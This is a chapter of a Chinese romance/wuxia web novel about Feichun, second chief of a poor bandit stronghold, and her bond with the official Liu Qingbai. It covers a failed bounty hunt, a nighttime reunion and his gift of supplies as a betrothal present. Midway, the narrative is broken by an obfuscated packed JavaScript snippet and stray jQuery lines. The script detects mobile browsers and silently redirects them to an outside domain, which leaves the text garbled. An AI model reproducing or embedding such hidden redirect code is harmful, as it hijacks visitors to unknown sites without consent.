柳清白这些日子总差人送信上山,不过都是些家长里短之事,左不过这些日子吃的、喝的、穿的……
今儿的信却写着沈危给他送了个侍女,那侍女寸步不离照顾他的饮食起居,倒让他想起过去在柳家北院的日子。
不知所云!
非春越看越恼火,这差人送一趟信上山也不容易,如何就写这些没头没尾的东西?
她将信纸团成一团往外一扔,被聂青捡个正着。
“你先别恼火。”聂青展开信纸读了几句,那只言片语喋喋不休,琐碎得竟然听起来像是遗言。她没有往深了想,只是感叹有些人还有信收,她已经眼巴巴等了好久,都没有看见熟悉的字迹。
“我瞧着是沈居安派了人盯着他,你那位压寨夫君也不容易。”
“就是因为不容易才心疼他,每回都写这些没用的。”
话正说着,非春将厚厚一沓信又收了回来,默默收好那些信纸锁在木匣子里与那叠不成样子的小像画像放在一道。
她心生内疚,这些日子不知为何,性子总是愈发急躁,想来应是担心柳清白的处境,可那人的信里只有琐碎的家常惹人心烦。
“你该庆幸,他还有闲情逸致,说明处境还不错。”聂青捻着手指,也不知是说给谁听。
或许,很快她的信也要到了。
秋去冬来,英华为自己能够顺利带走王家娘子而庆幸,召集了明月寨的姐妹庆祝,还杀了一只鸡助兴。
拢共没几只鸡,贺兰烛怪心疼的。看了看账簿,又看了看鸡,无奈叹了口气。
说起来,王家娘子倒是运气好。听说这些日子沈居安忙着抓捕什么朝廷要犯,根本无人在意她们一个小小明月寨,而王家娘子身怀六甲,狱卒们也嫌她麻烦,见英华拿着重金来赎,自然也就放了人。
“民女姓武,单名一个柔,今儿算是见过各位巾帼英雄了。”武柔说着双手捧起一个海碗敬了大家,“我身子不便,以茶代酒,敬各位恩人。”
“什么以茶代酒,明月寨可没这规矩。”英华捧过空碗,盛了一碗鸡汤,“你喝鸡汤敬咱们都成,可别客气。”
那鸡汤盛的满满当当一碗,武柔一口气就喝了下去。
“药仙姑盛的自然是好的。”
“以后叫英华就成。”英华算是多了个姐妹。
寨子上也算是添了新人。闹哄哄,大家笑作一团,这是这些日子明月寨难得的喜庆事儿。
贺兰烛瞧着一桌席面,其实细看没几个菜,空有盘子撑场面罢了。他盘算着账簿给非春使了眼色。聂青现在收不到信,心思早就不在寨子里,可非春不能稀里糊涂地跟着过,她是明月寨的二当家,不是事不关己的旁人。
“上哪搞钱?”非春明白贺兰烛的想法,可是当今这世道连想挖了良心,劫个富户都找不着这个富户在哪。
贺兰烛拿出两张通缉令,通缉令上是袁班主和魏家姑娘。
“什么意思?”那姑娘非春认的,曾在风清观有过一面之缘,也不知沈居安要抓这两人是做什么?安的什么心,这些柳清白信里耶不写。
如今的沈居安已经不再是在湖心亭上教书的沈先生了,一切都变了。
“你看,悬赏黄金万两。”贺兰烛摊开手,看着非春望眼欲穿的眼神,“心动么?”
“心动!”
明月寨上上下下这么多张嘴,她怎么可能看见“黄金万两”不心动呢?即使是个圈套,她也想去试试。
“有线索么?”
夜幕降临,百步街天福客栈,天字号客房内早已布下天罗地网。
非春乔装改扮躲在暗处,早就察觉到客栈里除了她还有不少人盯着这间客房,是敌是友她分不清楚。现下她紧绷的身体连呼吸都显得小心翼翼,不敢乱动。
显然今夜怕是不好动手,虽然可惜那黄金万两怕是今夜便归属他人,但保钱得有命花。趁着夜色非春悄悄离去,她乔装改扮成男子,显得在深夜出入客栈更为合理。但纤细的身影与清秀的脸庞却更惹人注意,这不是柳清白的官邸,所有人都被授了意,睁一只眼闭一只眼就被轻松闯入。
叶非春还是有自知之明,迅速离开这是非之地。
夜色中,一只大手从背后忽然捂住她的口鼻。她心里一惊,下意识拔剑向后刺去。那些个不识好歹的劫匪怕是把她当做弱不经风的读书人,竟想着劫财害命,她必然要给点教训。
利刃刺向两腿之间,薄弱之处。
别怪她路数刁钻,女子力道本就不及男子,想要在这乱世立足,本就不能靠着硬碰硬,灵巧便捷本就是她的优势所在。
然而利刃刚出鞘便忽得顿住。
幸好,杏花油的香气比血腥味先迎风而来。
“是我,柳清白。”
那短剑只是在半空中顿了顿,并没有因为认出是谁就住手,只是偏离了些许位置,继续刺了下去。
这是柳清白该受的。
谁叫他信里废话连篇?谁叫他忽然出现在这?谁叫他做什么都不告知一声?谁叫他自作主张?
这个人总是这样,吃点教训,也是应该的。
只听见柳清白因为刺痛倒吸一丝凉气,利刃划过他的衣袖擦出一道不深不浅的皮外伤。
每次见面,似乎他都要受些皮肉之苦。不过这种疼痛,似乎倒是让他安心了一些。
“好剑法!”他小声夸道。这是真心话看原本出剑的手势,他怕是差点“半身不遂”,多亏女侠饶命。
想到客栈里埋伏的人,非春赶紧做了个噤声的手势:“嘘!小心有人跟踪!”
“放心,都是我的人。”不知为何,这语气中竟有一丝得意,听得惹人不快。
非春觉得好气又好笑,也不知道这人在得意什么,轻声骂道:“划你一剑,倒是给你疼爽了。”
“你以前扇我、刺我,我也乐得其中。”说着柳清白,双手环抱着非春的腰肢还轻轻在嘴角啄了啄,“想你了。”
好像越是黑暗里头,有些人就越是没皮没脸,把非春堵得说不出话,羞红了脸。
“客栈里还有人!”
“他们嘴严。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417101|184426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
非春撇过脸不想看他,此时此刻她只觉得,柳清白比她更像山匪。
撇过的脸又被柳清白掰了回来,看着昏暗中,非春湿漉漉的双眼。柳清白一时慌了神,想是刚刚冒昧出现吓到非春了,赶紧哄道:“我深夜在此是怕沈居安抓人,提前布防,绝非寻花问柳。”
见非春依旧没有回应,他继续解释道:“沈居安投靠了通义侯,那女子是魏如初,魏千户的女儿,风清观时你见过的。她与柳三在风清观私定终身,我与她并无关系。魏家与冯将军是故交,魏千户替冯征将军复仇杀了通义侯的儿子,这才被通缉。我不过是还柳三人情罢了。”
想到那个人情,也是因为非春欠下的。她不自觉倒是恼起来,锤了柳清白胸口一拳,“你也欠我黄金万两。”
说完非春便转身走了。
“他沈居安根本没钱!通义侯不仁不义的!黄金万两一听就是骗人的玩意!你别病急乱投医!”
“那就多谢柳兄提醒。”非春挥一挥衣袖,走得肆意洒脱。
月色下,只剩下柳清白孤身一人冷冷清清,忽然间他才明白更离不开的人是他。他低头看着破了的衣袖,和那道微不足道的血痕,低声轻语道:
“不是说好的压寨夫君么?”
明月寨的账簿依旧一片赤字,贺兰烛看着除了叹气什么也说不出。
英华冷不丁冒出一句:“要不咱做点生意吧?”
“什么生意?”
“采点草药拿去卖?”
“不够。”
“要多少?”
“把这个窟窿得填平。”贺兰烛拿手比划了下,“至少五百两。”
明月寨这些姑娘除了话本子上哪见过这么多钱?
“五百两?咱这是要抢生辰纲呀?”聂青两手一摊,可惜这穷乡僻壤连个商队都没得劫。
要是紫烟如今还有联系就好了。其实之前大半开支都是紫烟不远万里寄过来的,如今失联大半年,倒叫她不知如何是好了。
“头一回见到这么穷的山匪。”贺兰烛小声嘀咕了一番就被非春打断,他识相地闭上嘴。嘴虽然平了,心里却不平,他哼哼两声又被非春摸了摸头,似乎心里又舒服了一些。
英华长叹一口气,捧出一个木匣子,“这是武柔当年的嫁妆,她本还想出点力,现在看来也是杯水车薪。”
“……不用出了。”
非春抬眼看了眼窗外,一小姑娘领着几辆牛车拉着紫檀木箱子排着队进寨子,看那箱子她就认出了是谁家的箱子,曾经在柳家她太熟悉了。
贺兰烛低头盯着账目附和着:“是不用出了。”
因为有人送了。
非春看着牛车里拉着的不止银两,还有粮食,用得上的药材,琳琅满目都是这世道里用的上的玩意。
“二当家的,山下有个自称是您的压寨夫君,他非让我给您把这些送上山,说是用得上,自己又不肯来。”小姑娘擦了擦汗,眼神闪躲了几下,最后又落在非春身上,顿了顿,开口道:
“他说这是聘礼。”